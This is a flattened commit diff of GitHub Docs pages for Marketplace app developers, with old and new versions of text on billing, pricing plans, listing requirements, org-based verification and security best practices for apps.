paid plans for any of your apps. For more information about the requirements for listing an app on {% data variables.product.prodname_marketplace %}, see "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% note %} **Note:** This verification process for apps replaces the previous process where individual apps were verified. The current process is similar to the verification process for actions. If you have apps that were verified under the old process, these will not be affected by the changes. The {% data variables.product.prodname_marketplace %} team will contact you with details of how to migrate to organization-based verification. {% endnote %} 12 content/developers/github-marketplace/billing-customers.md @@ -13,17 +13,17 @@ versions: ### Understanding the billing cycle Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)." Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[Webhook events for the {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/webhook-events-for-the-github-marketplace-api)." ### Providing billing services in your app's UI Customers must be able to perform the following actions from your app's website: - Customers must be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. Customers should be able to perform the following actions from your app's website: - Customers should be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. {% data reusables.marketplace.marketplace-billing-ui-requirements %} ### Billing services for upgrades, downgrades, and cancellations Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)." Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." You can use the `marketplace_purchase` webhook's `effective_date` key to determine when a plan change will occur and periodically synchronize the [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan). @@ -33,7 +33,7 @@ When a customer upgrades their pricing plan or changes their billing cycle from {% data reusables.marketplace.marketplace-failed-purchase-event %} For information about building upgrade and downgrade workflows into your app, see "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)." For information about building upgrade and downgrade workflows into your app, see "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)." #### Downgrades and cancellations @@ -45,4 +45,4 @@ When a customer cancels a plan, you must: {% data reusables.marketplace.cancellation-clarification %} - Enable them to upgrade the plan through GitHub if they would like to continue the plan at a later time. For information about building cancellation workflows into your app, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." For information about building cancellation workflows into your app, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." 20 ...nt/developers/github-marketplace/customer-experience-best-practices-for-apps.md @@ -0,0 +1,20 @@ --- title: Customer experience best practices for apps intro: 'Guidelines for creating an app that will be easy to use and understand.' shortTitle: Customer experience best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a good customer experience. ### Customer communication - Marketing materials for the app should accurately represent the app's behavior. - Apps should include links to user-facing documentation that describe how to set up and use the app. - Customers should be able to see what type of plan they have in the billing, profile, or account settings section of the app. - Customers should be able to install and use your app on both a personal account and an organization account. They should be able to view and manage the app on those accounts separately. ### Plan management {% data reusables.marketplace.marketplace-billing-ui-requirements %} 4 content/developers/github-marketplace/drafting-a-listing-for-your-app.md @@ -59,8 +59,8 @@ Once you've created a {% data variables.product.prodname_marketplace %} draft li ### Submitting your app Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, the {% data variables.product.prodname_marketplace %} onboarding team will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, an onboarding expert will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." ### Removing a {% data variables.product.prodname_marketplace %} listing If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact [marketplace@github.com](mailto:marketplace@github.com) to remove your listing. If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact {% data variables.contact.contact_support %} to remove your listing. 2 content/developers/github-marketplace/handling-new-purchases-and-free-trials.md @@ -28,7 +28,7 @@ GitHub then sends the [`marketplace_purchase`](/webhooks/event-payloads/#marketp Read the `effective_date` and `marketplace_purchase` object from the `marketplace_purchase` webhook to determine which plan the customer purchased, when the billing cycle starts, and when the next billing cycle begins. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." See "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)" to find out how to transition a free trial to a paid plan when a free trial expires. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." See "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)" to find out how to transition a free trial to a paid plan when a free trial expires. See "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" for an example of the `marketplace_purchase` event payload. 6 content/developers/github-marketplace/index.md @@ -11,8 +11,10 @@ versions: {% topic_link_in_list /creating-apps-for-github-marketplace %} {% link_in_list /about-github-marketplace %} {% link_in_list /about-verified-creators %} {% link_in_list /requirements-for-listing-an-app %} {% link_in_list /security-review-process-for-submitted-apps %} {% link_in_list /security-best-practices-for-apps %} {% link_in_list /customer-experience-best-practices-for-apps %} {% link_in_list /viewing-metrics-for-your-listing %} {% link_in_list /viewing-transactions-for-your-listing %} {% topic_link_in_list /using-the-github-marketplace-api-in-your-app %} @@ -27,7 +29,7 @@ versions: {% link_in_list /writing-a-listing-description-for-your-app %} {% link_in_list /setting-pricing-plans-for-your-listing %} {% link_in_list /configuring-a-webhook-to-notify-you-of-plan-changes %} {% link_in_list /submitting-your-listing-for-review %} {% link_in_list /submitting-your-listing-for-publication %} {% topic_link_in_list /selling-your-app-on-github-marketplace %} {% link_in_list /pricing-plans-for-github-marketplace-apps %} {% link_in_list /billing-customers %} 32 content/developers/github-marketplace/pricing-plans-for-github-marketplace-apps.md @@ -10,35 +10,45 @@ versions: {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit, and GitHub lists the price in US dollars. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave GitHub.com. You don't have to write code to perform billing transactions, but you will have to handle [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) for purchase events. {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit. Prices are set, displayed, and processed in US dollars. Paid plans are restricted to verified listings. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave {% data variables.product.prodname_dotcom_the_website %}. You don't have to write code to perform billing transactions, but you will have to handle events from the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If the app you're listing on {% data variables.product.prodname_marketplace %} has multiple plan options, you can set up corresponding pricing plans. For example, if your app has two plan options, an open source plan and a pro plan, you can set up a free pricing plan for your open source plan and a flat pricing plan for your pro plan. Each {% data variables.product.prodname_marketplace %} listing must have an annual and a monthly price for every plan that's listed. For more information on how to create a pricing plan, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% note %} {% data reusables.marketplace.free-plan-note %} **Note:** If you're listing an app on {% data variables.product.prodname_marketplace %}, you can't list your app with a free pricing plan if you offer a paid service outside of {% data variables.product.prodname_marketplace %}. ### Types of pricing plans {% endnote %} #### Free pricing plans ### Types of pricing plans {% data reusables.marketplace.free-apps-encouraged %} Free plans are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. All apps need to handle events for new purchases and cancellations. Apps that only have free plans do not need to handle events for free trials, upgrades, and downgrades. For more information, see: "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to request verification for the app and go through financial onboarding. #### Paid pricing plans **Free pricing plans** are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. Unverified free apps do not need to implement any billing flows. Free apps that are verified by Github need to implement billing flows for new purchases and cancellations, but do not need to implement billing flows for free trials, upgrades, and downgrades. If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to resubmit the app for review. There are two types of paid pricing plan: **Flat rate pricing plans** charge a set fee on a monthly and yearly basis. - Flat rate pricing plans charge a set fee on a monthly and yearly basis. **Per-unit pricing plans** charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). - Per-unit pricing plans charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). **Marketplace free trials** provide 14-day free trials of OAuth or GitHub Apps to customers. When you [set up a Marketplace pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/), you can select the option to provide a free trial for flat-rate or per-unit pricing plans. You may also want to offer free trials. These provide free, 14-day trials of OAuth or GitHub Apps to customers. When you set up a Marketplace pricing plan, you can select the option to provide a free trial for flat-rate or per-unit pricing plans. ### Free trials Customers can start a free trial for any available paid plan on a Marketplace listing, but will not be able to create more than one free trial for a Marketplace product. Customers can start a free trial for any paid plan on a Marketplace listing that includes free trials. However, customers cannot create more than one free trial per marketplace product. Free trials have a fixed length of 14 days. Customers are notified 4 days before the end of their trial period (on day 11 of the free trial) that their plan will be upgraded. At the end of a free trial, customers will be auto-enrolled into the plan they are trialing if they do not cancel. See "[New purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" for details on how to handle free trials in your app. For more information, see: "[Handling new purchases and free trials](/developers/github-marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)." {% note %} 61 content/developers/github-marketplace/requirements-for-listing-an-app.md @@ -1,6 +1,6 @@ --- title: Requirements for listing an app intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before our {% data variables.product.prodname_marketplace %} onboarding specialists will approve the listing.' intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.' redirect_from: - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ @@ -12,49 +12,62 @@ versions: free-pro-team: '*' --- <!--UI-LINK: Displayed as a link on the https://github.com/marketplace/new page.--> The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app. Before you submit your app for review, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." You'll accept the terms within your [draft listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) on {% data variables.product.product_name %}. Once you've submitted your app, one of the {% data variables.product.prodname_marketplace %} onboarding specialists will reach out to you with more information about the onboarding process, and review your app to ensure it meets these requirements: ### Requirements for all {% data variables.product.prodname_marketplace %} listings ### User experience All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.product_name %} community. When you submit your listing for publication, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. #### User experience requirements for all apps All listings should meet the following requirements, regardless of whether they are for a free or paid app. - Listings must not actively persuade users away from {% data variables.product.product_name %}. - Listings must include valid contact information for the publisher. - Listings must have a relevant description of the application. - Listings must specify a pricing plan. - Apps must provide value to customers and integrate with the platform in some way beyond authentication. - Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in beta or available by invite only. - Apps cannot actively persuade users away from {% data variables.product.product_name %}. - Marketing materials for the app must accurately represent the app's behavior. - Apps must include links to user-facing documentation that describe how to set up and use the app. - When a customer purchases an app and GitHub redirects them to the app's installation URL, the app must begin the OAuth flow immediately. For details, see "[Handling new purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/#step-3-authorization)." - Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." - Customers must be able to install your app and select repositories on both a personal and organization account. They should be able to view and manage those accounts separately. For more information on providing a good customer experience, see "[Customer experience best practices for apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)." ### Brand and listing #### Brand and listing requirements for all apps - Apps that use GitHub logos must follow the "[{% data variables.product.product_name %} Logos and Usage](https://github.com/logos)" guidelines. - Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see "[{% data variables.product.company_short %} Logos and Usage](https://github.com/logos)." - Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." - Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." ### Security To protect your customers, we recommend that you also follow security best practices. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)." ### Considerations for free apps Apps will go through a security review before being listed on {% data variables.product.prodname_marketplace %}. A successful review will meet the requirements and follow the security best practices listed in "[Security review process](/marketplace/getting-started/security-review-process/)." For information on the review process, contact [marketplace@github.com](mailto:marketplace@github.com). {% data reusables.marketplace.free-apps-encouraged %} ### Requirements for paid apps In addition to the requirements for all apps above, each app that you offer as a paid service on {% data variables.product.prodname_marketplace %} must also meet the following requirements: - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. - All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see "[Billing requirements for paid apps](#billing-requirements-for-paid-apps)" below. - Publishing organizations must have a verified domain and must enable two-factor authentication. For more information, see "[Requiring two-factor authentication in your organization](/github/setting-up-and-managing-organizations-and-teams/requiring-two-factor-authentication-in-your-organization.") ### Billing flows When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the listing. Your app must integrate [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) using the [{% data variables.product.prodname_marketplace %} webhook event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/). {% note %} #### Free apps The verification process is open to organizations. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% data reusables.marketplace.free-apps-encouraged %} If you are listing a free app, you'll need to meet these requirements: {% endnote %} - Customers must be able to see that they have a free plan in the billing, profile, or account settings section of the app. - When a customer cancels your app, you must follow the flow for [cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/). ### Billing requirements for paid apps #### Paid apps Your app does not need to handle payments but does need to use {% data variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." To offer your app as a paid service, you'll need to meet these requirements to list your app on {% data variables.product.prodname_marketplace %}: Using GitHub's billing API allows customers to purchase an app without leaving GitHub and to pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - To sell your app in {% data variables.product.prodname_marketplace %}, it must use GitHub's billing system. Your app does not need to handle payments but does need to use "[{% data variables.product.prodname_marketplace %} purchase events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" to manage new purchases, upgrades, downgrades, cancellations, and free trials. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" to learn about how to integrate these events into your app. Using GitHub's billing system allows customers to purchase an app without leaving GitHub and pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - Apps must support both monthly and annual billing for paid subscriptions purchases. - Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% data reusables.marketplace.marketplace-billing-ui-requirements %} 60 content/developers/github-marketplace/security-best-practices-for-apps.md @@ -0,0 +1,60 @@ --- title: Security best practices for apps intro: 'Guidelines for preparing a secure app to share on {% data variables.product.prodname_marketplace %}.' redirect_from: - /apps/marketplace/getting-started/security-review-process/ - /marketplace/getting-started/security-review-process - /developers/github-marketplace/security-review-process-for-submitted-apps shortTitle: Security best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a secure user experience. ### Authorization, authentication, and access control We recommend creating a GitHub App rather than an OAuth App. {% data reusables.marketplace.github_apps_preferred %}. See "[Differences between GitHub Apps and OAuth Apps](/apps/differences-between-apps/)" for more details. - Apps should use the principle of least privilege and should only request the OAuth scopes and GitHub App permissions that the app needs to perform its intended functionality. For more information, see [Principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) in Wikipedia. - Apps should provide customers with a way to delete their account, without having to email or call a support person. - Apps should not share tokens between different implementations of the app. For example, a desktop app should have a separate token from a web-based app. Individual tokens allow each app to request the access needed for GitHub resources separately. - Design your app with different user roles, depending on the functionality needed by each type of user. For example, a standard user should not have access to admin functionality, and billing managers might not need push access to repository code. - Apps should not share service accounts such as email or database services to manage your SaaS service. - All services used in your app should have unique login and password credentials. - Admin privilege access to the production hosting infrastructure should only be given to engineers and employees with administrative duties. - Apps should not use personal access tokens to authenticate and should authenticate as an [OAuth App](/apps/about-apps/#about-oauth-apps) or a [GitHub App](/apps/about-apps/#about-github-apps): - OAuth Apps should authenticate using an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/). - GitHub Apps should authenticate using either a [JSON Web Token (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app), [OAuth token](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/), or [installation access token](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation). ### Data protection - Apps should encrypt data transferred over the public internet using HTTPS, with a valid TLS certificate, or SSH for Git. - Apps should store client ID and client secret keys securely. We recommend storing them as [environmental variables](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables). - Apps should delete all GitHub user data within 30 days of receiving a request from the user, or within 30 days of the end of the user's legal relationship with GitHub. - Apps should not require the user to provide their GitHub password. - Apps should encrypt tokens, client IDs, and client secrets. ### Logging and monitoring Apps should have logging and monitoring capabilities. App logs should be retained for at least 30 days and archived for at least one year. A security log should include: - Authentication and authorization events - Service configuration changes - Object reads and writes - All user and group permission changes - Elevation of role to admin - Consistent timestamping for each event - Source users, IP addresses, and/or hostnames for all logged actions ### Incident response workflow To provide a secure experience for users, you should have a clear incident response plan in place before listing your app. We recommend having a security and operations incident response team in your company rather than using a third-party vendor. You should have the capability to notify {% data variables.product.product_name %} within 24 hours of a confirmed incident. For an example of an incident response workflow, see the "Data Breach Response Policy" on the [SANS Institute website](https://www.sans.org/information-security-policy/). A short document with clear steps to take in the event of an incident is more valuable than a lengthy policy template. ### Vulnerability management and patching workflow You should conduct regular vulnerability scans of production infrastructure. You should triage the results of vulnerability scans and define a period of time in which you agree to remediate the vulnerability. If you are not ready to set up a full vulnerability management program, it's useful to start by creating a patching process. For guidance in creating a patch management policy, see this TechRepublic article "[Establish a patch management policy](https://www.techrepublic.com/blog/it-security/establish-a-patch-management-policy-87756/)." 94 ...ent/developers/github-marketplace/security-review-process-for-submitted-apps.md This file was deleted. 53 content/developers/github-marketplace/setting-pricing-plans-for-your-listing.md @@ -1,6 +1,6 @@ --- title: Setting pricing plans for your listing intro: 'When [listing your app on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/), you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' intro: 'When you list your app on {% data variables.product.prodname_marketplace %}, you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' redirect_from: - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ @@ -17,57 +17,52 @@ versions: free-pro-team: '*' --- ### About setting pricing plans If you want to sell an app on {% data variables.product.prodname_marketplace %}, you need to request verification when you publish the listing for your app. During the verification process, an onboarding expert checks the organization's identity and security settings. The onboarding expert will also take the organization through financial onboarding. For more information, see: "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." ### Creating pricing plans To learn about the types of pricing plans that {% data variables.product.prodname_marketplace %} offers, see "[{% data variables.product.prodname_marketplace %} Pricing Plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." You'll also find helpful billing guidelines in "[Selling your app](/marketplace/selling-your-app/)." Pricing plans can be in the draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published listing will function the same way as draft listings until your app is approved and listed on {% data variables.product.prodname_marketplace %}. Draft listings allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish the pricing plan, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). If you haven't created a {% data variables.product.prodname_marketplace %} listing yet, read "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)" to learn how. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: {% data variables.product.prodname_marketplace %} offers several different types of pricing plan. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)." #### Plan name ### About saving pricing plans Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align to the plan's resources, the size of the company that will use the plan, or anything you'd like. You can save pricing plans in a draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published plan will function in the same way as a draft plan until your listing is approved and shown on {% data variables.product.prodname_marketplace %}. Draft plans allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish a pricing plan on a published listing, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. #### Pricing models For guidelines on billing customers, see "[Billing customers](/developers/github-marketplace/billing-customers)." ##### Free plans {% data reusables.marketplace.free-apps-encouraged %} A free plan still requires you to handle [new purchase](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/) and [cancellation](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/) billing flows. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" for more details. ##### Flat-rate plans ### Creating pricing plans Flat-rate pricing plans allow you to offer your service to customers for a flat-rate fee. {% data reusables.marketplace.marketplace-pricing-free-trials %} To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). For more information, see "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)." You must set a price for both monthly and yearly subscriptions in U.S. Dollars for flat-rate plans. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: ##### Per-unit plans - **Plan name** - Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align with the plan's resources, the size of the company that will use the plan, or anything you'd like. Per-unit pricing allows you to offer your app in units. For example, a unit can be a person, seat, or user. You'll need to provide a name for the unit and set a price for both monthly and yearly subscriptions, in U.S. Dollars. - **Pricing models** - There are three types of pricing plan: free, flat-rate, and per-unit. All plans require you to process new purchase and cancellation events from the marketplace API. In addition, for paid plans: #### Available for - You must set a price for both monthly and yearly subscriptions in US dollars. - Your app must process plan change events. - You must request verification to publish a listing with a paid plan. - {% data reusables.marketplace.marketplace-pricing-free-trials %} {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %} apps](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Short description - **Available for** - {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. - **Short description** - Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. #### Bullets - **Bullets** - You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. {% data reusables.marketplace.free-plan-note %} ### Changing a {% data variables.product.prodname_marketplace %} listing's pricing plan If a pricing plan for your {% data variables.product.prodname_marketplace %} plan is no longer needed or if you need to adjust pricing details, you can remove it. If a pricing plan for your {% data variables.product.prodname_marketplace %} listing is no longer needed, or if you need to adjust pricing details, you can remove it.  Once you publish a pricing plan for an app already listed in the {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you publish a pricing plan for an app that is already listed in {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan and create a new plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you remove a pricing plan, users won't be able to purchase your app using that plan. Existing users on the removed pricing plan will continue to stay on the plan until they cancel their plan subscription. 37 content/developers/github-marketplace/submitting-your-listing-for-publication.md @@ -0,0 +1,37 @@ --- title: Submitting your listing for publication intro: 'You can submit your listing for the {% data variables.product.prodname_dotcom %} community to use.' redirect_from: - /marketplace/listing-on-github-marketplace/submitting-your-listing-for-review - /developers/github-marketplace/submitting-your-listing-for-review versions: free-pro-team: '*' --- Once you've completed the listing for your app, you'll see two 